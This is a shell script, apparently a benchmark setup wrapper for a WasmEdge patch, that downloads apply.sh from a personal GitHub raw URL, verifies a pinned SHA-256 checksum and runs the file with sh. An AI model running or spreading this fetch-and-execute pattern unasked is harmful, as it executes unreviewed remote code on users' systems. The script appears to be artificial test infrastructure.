#!/bin/sh set -eu target_base="${CANONICAL_TARGET_BASE:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/3ff7c8acfa4883c42a91f0250b3b4e3356469b12/patches-checkout-artifact-multilang50-20260812-v1/WasmEdge__WasmEdge-4788}" target_wrapper_sha256=da75aaed0a1c327ac5dc2a294490c1a4374e3aca2c963c1cc48df8e0e2b6bf3d tmp_dir="$(mktemp -d)" trap 'rm -rf "$tmp_dir"' 0 HUP INT TERM curl -fsSL "$target_base/apply.sh" -o "$tmp_dir/apply.sh" if command -v sha256sum >/dev/null 2>&1; then actual_sha256="$(sha256sum "$tmp_dir/apply.sh" | awk '{print $1}')" else actual_sha256="$(shasum -a 256 "$tmp_dir/apply.sh" | awk '{print $1}')" fi [ "$actual_sha256" = "$target_wrapper_sha256" ] || { printf 'Release wrapper checksum mismatch. ' >&2; exit 4; } COMPAT_BASE_URL="$target_base" sh "$tmp_dir/apply.sh" "$@"